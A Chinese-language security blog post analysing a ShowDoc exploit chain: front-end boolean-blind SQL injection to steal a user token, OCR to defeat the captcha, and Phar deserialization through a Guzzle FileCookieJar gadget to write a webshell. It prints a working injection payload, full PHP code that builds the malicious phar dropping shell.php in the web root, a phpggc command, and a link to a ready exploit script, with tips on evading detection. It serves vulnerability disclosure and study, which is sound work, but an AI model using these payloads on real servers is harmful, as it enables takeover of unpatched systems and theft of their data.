前言
脚本小子好久没写文章了,今天看到漏洞已经修复了,所以来分享一下有关于showdoc漏洞的分析。这个漏洞由两部分组成,前台的SQL注入+后台反序列化。
当时最早看到这个漏洞通报的时候,是这么描述的:
攻击者通过SQL注入漏洞获取到token进入后台。进入后台后可结合反序列化漏洞,写入WebShell,从而获取服务器权限。
脚本小子心里想着这个漏洞在内网可算是关键资产呀,拿到文档系统指不定里面有什么好东西呢。于是就马上定位到github中showdoc的commit,开始了他的代码审计之旅。
SQL注入
showdoc的传参逻辑
showdoc是基于ThinkPHP框架进行开发的,他对与传参有这几个方式,
$uid = I("uid/d");
$item_domain = I("item_domain/s");
$refer_url = I('refer_url');
那么有两个奇怪的点:
- 这个函数
I
是干什么的呢
- 有的参数后面写个
/d
,有的写个/s
又是什么意思呢
那我们一个个来进行分析,首先第一个函数I
,我们跟进代码:server/ThinkPHP/Common/functions.php
可以发现这个函数就是用来获取我们网站请求的参数的,而且这里使用了strpos
对传入的参数名进行了分割,把/
后面的单词作为一个指定修饰符。
让我们来跟进一下看看这个修饰符起了什么作用呢,继续更进到代码380行,可以看到这里对于修饰符进行了一个匹配,找到了对应了修饰符后,对传参的内容进行一次强制类型转换。
那么我们回到showdoc使用的这三类传参里看
$uid = I("uid/d"); ===> 传入的uid参数,强制转为int
$item_domain = I("item_domain/s"); ===> 传入的item_domain参数,强制转为string
$refer_url = I('refer_url'); ===> 传入的refer_url参数,强制转为string
showdoc的SQL执行逻辑
我们在搞清楚了他的传参逻辑后,我们再来看他的SQL执行逻辑。在showdoc中,所使用到的几种查询类型的SQL执行大概有这几种。
$item = D("Item")->where("item_id = '$item_id' ")->find();
$member = D("User")->where(" username = '%s' ", array($value))->find();
脚本小子一眼就关注到了,这第一种不就是做了SQL语句的拼接么,那是不是有注入漏洞呢,这里划重点。
第二种方式,他的where方法有两个参数,看上去是要把后面的字符串格式化到前面的占位符中。
那么究竟发生了什么,我们进入方法内查看调用:server/ThinkPHP/Library/Think/Model.class.php。
首先是会判断parser是否为null,也就是我们where方法的第二个参数,如果不为null,那么我们会进入判断,执行如下代码。
$parse = array_map(array($this->db, 'escapeString'), $parse);
然后再通过vsprintf将parse内容格式化进入where。
那么脚本小子就有疑问了,这个array_map执行了一个什么呢?没错,就是对应DB的escapeString
,在默认情况下,showdoc的数据库是Sqlite,那么定位到代码server/ThinkPHP/Library/Think/Db/Driver/Sqlite.class.php。他会将单引号转义成两个单引号,导致SQL语句无法进行注入。
通过这个图片,就可以很清楚的看到,双写单引号后,注入就无效了。
所以分析下来,通过第二种方式进行SQL执行,相当于在PHP的层面实现了一个模拟预编译。
那么第一种情况,是否任然存在注入呢?答案是肯定的,第一种方式确实存在SQL注入的风险,当我们调用where方法的时候,如果不传入第二个参数,他并不会对语句执行escapeString
。
但是这里有个非常重要的前提,就是我们拼接的这个参数,他不能是通过I("xxx/d")
或其他的修饰符传入的,只能是I("xxx/s")
或者 I("xxx")
传入,否则将被强制类型转换清洗掉payload。
showdoc的权限鉴定逻辑
在我们寻找SQL注入点之前再提最后一点,我们需要的是前台的注入,通过注入user_token表获取用户token,并使用这个token进入后台。所以我们需要弄清楚他的权限鉴定是怎么做的。
在showdoc中,权限鉴定依靠的是一个checkLogin
方法:
他的定义如下,在server/Application/Api/Controller/BaseController.class.php中。
在默认情况下,当redirect为true的时候:
- 如果存在session,那么正常返回。
- 如果不存在session,那么就会进行权限鉴定。
- 如果通过了权限鉴定,那么正常返回。
- 如果没通过鉴定,那么判断redirect,若为true则exit,若为false,那么回到原函数继续程序执行。
所以对于showdoc而言,无需鉴权的情况有三种:
- 路由函数里没有
checkLogin()
。
- 路由函数里的是
checkLogin(false)
。
- 目标代码放在
checkLogin()
函数执行之前。
SQL注入点的寻找
最后,我们在知道了上述的几个点以后,我们就可以开始在所有的路由里去寻找SQL注入的点了,需要满足下面几个情况:
- 路由里权限鉴定是
checkLogin(false)
或者在查询之前都没有执行checkLogin()
。
- 参数传入为
I("xxx/s")
或 I("xxx")
,修饰符为字符串类型,防止强制类型转换对payload的清洗。
- 参数是由拼接放入
where
方法的,只有这样才能保证payload不会进入预编译中被转义。
那么这里脚本小子就写了一个正则表达式:
意思是匹配I()
函数里,要么为没有修饰符的纯字符,要么为带了/s
修饰符的字符串,简图为:
往PhoStrome里一搜,精准又优雅的筛选出了符合条件的传参函数。
然后我们需要做的就是判断:
- 是否有权限
- 是否预编译
最后我们在server/Application/Api/Controller/ItemController.class.php中找到了注入点
在这里,我们关注这个SQL执行后的判断条件,我们可以通过联合查询,把Item表的password所在的那一列的值,做一个布尔判断,如果判断为true,则返回1,所以此时我们的$item['password']
就为1。他会与我们先前传入的password进行比较,我们把这个password的值传参为1,那么就可以进入判断条件,执行到sendResult
。如果我们的布尔判断为false,即为0,那么与password的判断不符合,那么就会执行到sendError
。通过这个逻辑,我们就可以构造联合查询,把我们所需要的布尔盲注判断放在Item表中的password字段,从而闭环一个布尔盲注。
$password = I("password");
...
$item = D("Item")->where("item_id = '$item_id' ")->find();
if ($password && $item['password'] == $password) {
session("visit_item_" . $item_id, 1);
$this->sendResult(array("refer_url" => base64_decode($refer_url)));
} else {
$this->sendError(10010, L('access_password_are_incorrect'));
}
干说比较枯燥复杂,这里直接给大家payload
1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),1,1)='x',7,8,9,10,11,12--
结合OCR进行SQL盲注脚本的构造
作为一个脚本小子,找到注入点肯定不满足,那必须得有一个一把嗦的脚本才行呀,毕竟作为一个安服仔,漏洞最后是要服务于项目的嘛,于是开始了注入脚本的构造。
脚本小子兴高采烈的开始写脚本的时候,遇到了他的滑铁卢,这里居然要校验图形验证码!
$captcha_id = I("captcha_id");
$captcha = I("captcha");
if (!D("Captcha")->check($captcha_id, $captcha)) {
$this->sendError(10206, L('verification_code_are_incorrect'));
return;
}
这里,脚本小子灵光一动,能不能使用OCR对图形验证码做一个识别,识别出来后通过captcha_id和captcha将验证码传入从而通过这里的判断呢?
这里给出两个方案:
- 使用本地OCR服务进行识别,推荐库为:https://github.com/sml2h3/ddddocr
- 使用ocr_api_server服务,推荐docker搭建:https://hub.docker.com/r/shanmite/ocr_api_server
至于选择什么方式,各位看自己遇到的环境按需使用就好。
这里我也给大家准备好了脚本,地址放在文末,有需要的师傅自取。
这里多说一点,由于是盲注配合上OCR,所以每次的错误尝试都需要一次或多次的OCR识别,所以整个注入下来,会请求非常多次的验证码。而showdoc这种文档类站点大多部署在内网。那么在代理的情况下传输这么大且频繁的数据,可能会导致代理的崩溃或者攻击行为的捕获。所以这里我有个小想法和大家分享一下,可行性大家自行斟酌。
showdoc的验证码有这样的特性,生成验证码和校验验证码是分开的。也就是说我可以先调用接口生成足够多的验证码后,把他的captcha_id和识别出来的captcha做成一个map,在盲注的时候直接传入captcha_id和captcha调用即可。
反序列化
反序列化触发点的寻找
那么SQL注入点已经找好了,脚本小子要开始寻找反序列化的漏洞点了,在showdoc3.2.5的commit中可以发现,他将这样的一个路由改成了private
。
我们定位到函数:server/Application/Home/Controller/IndexController.class.php。脚本小子两年半的CTF基因跳动了起来,这里的fopen
函数是可以触发SSRF漏洞的!而在PHP中,存在一个Phar协议,可以配合SSRF去触发反序列化。具体的原理可以参考这篇文章,本文就不过多解释了。
文件上传路径的获取
Phar反序列化的点已经找到了,那么我们现在只需要找到一个能够文件上传的点就可以了,而在一个doc站中,文件上传的功能是必不可少的。但是showdoc在对于文件上传后的文件名,有点藏着掖着,你正常上传的文件,他会生成一个sign,再使用一个链接来间接获取。
/server/index.php?s=/api/attachment/visitFile&sign=9be3419f8e11aa97e21b21669fea3885
再通过sign去获取图片时,他把上传的文件路径给暴露出来了
那么至此我们文件上传的这个点也打通了。
反序列化利用链的挖掘
最后,脚本小子已经困得睁不开眼睛了,我们只需要挖掘一条能够利用的反序列化利用链,就能够完成整个攻击链路了。
这里找了一下TP3.2.3的公开的利用链,并没有什么能够直接RCE的,所以我们把重点放在他的组件上。
最后是找到guzzlehttp这个组件里的FileCookieJar,这个组件是一个反序列化利用链里的老演员了(挖出来后才知道phpggc已经整合了这条链)
这里的__destruct
方法会触发save
方法,save
方法会读取$cookie属性,在执行了CookieJar::shouldPersist
对$cookie内容的一些判断后,会执行file_put_contents
将$cookie的值写入$filename中,而$filename可以在__construct
方法中被初始化。
class FileCookieJar extends CookieJar
{
private $filename;
private $storeSessionCookies;
public function __construct($cookieFile, $storeSessionCookies = false)
{
parent::__construct();
$this->filename = $cookieFile;
$this->storeSessionCookies = $storeSessionCookies;
if (file_exists($cookieFile)) {
$this->load($cookieFile);
}
}
public function __destruct()
{
$this->save($this->filename);
}
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
public function load($filename)
{
$json = file_get_contents($filename);
if (false === $json) {
throw new \RuntimeException("Unable to load file {$filename}");
} elseif ($json === '') {
return;
}
$data = \GuzzleHttp\json_decode($json, true);
if (is_array($data)) {
foreach (json_decode($json, true) as $cookie) {
$this->setCookie(new SetCookie($cookie));
}
} elseif (strlen($data)) {
throw new \RuntimeException("Invalid cookie file: {$filename}");
}
}
}
那么我们只需要设定一个$cookie,里面写入我们的木马就好了,但是这个属性不在FileCookieJar中,而在他的父类CookieJar中。
所以我们最后构造POP链,将恶意的SetCookie对象赋值到CookieJar中,再让FileCookieJar继承,并在构造方法中设定好$filename就行了。
最后我们结合上Phar反序列化的生成,绕过一次图片验证,得到如下的poc:
<?php
namespace GuzzleHttp\Cookie{
class SetCookie
{
private $data = [];
public function __construct()
{
$this->data = array("Discard"=>false,"poc"=>'<?php echo \'success\';?>');
}
}
class CookieJar
{
/** @var SetCookie[] Loaded cookie data */
private $cookies = [];
public function __construct()
{
$this->cookies = [new SetCookie()];
}
}
class FileCookieJar extends CookieJar
{
/** @var string filename */
private $filename;
/** @var bool Control whether to persist session cookies or not. */
private $storeSessionCookies;
public function __construct($cookieFile, $storeSessionCookies = false)
{
parent::__construct();
$this->filename = $cookieFile;
$this->storeSessionCookies = $storeSessionCookies;
}
}
}
namespace {
$exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);
$phar=new phar('phar.phar',0);
$phar->startBuffering();
$phar->setMetadata($exampleWithClosure);
$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
}
但是作为一个脚本小子,怎么能够使用这么麻烦的方法呢,使用工具phpggc一键生成Phar的payload!
./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png
至此,漏洞分析已经完成~
结语
对于这个漏洞其实发生了一个小插曲,漏洞是在showdoc版本更新到3.2.5的时候被各大安全厂商通报的,当时所有厂商的修复建议都是把版本提升到最新版本3.2.5,但是当时的3.2.5版本只修复了home接口下的SSRF漏洞,并未修复SQL注入漏洞,所以当时我盯着3.2.5版本的commit修改的几个Controller咋看都没有注入点,后来找到这个漏洞的时候才发现最新版也是能打的,直到6月3号作者才修复上这个SQL注入漏洞,各位甲方爸爸可以放心在后台点击系统升级了。最后感谢Pupi1鸽鸽和书鱼哥哥对我的帮助。
Demo脚本
https://github.com/huamang/showdoc_poc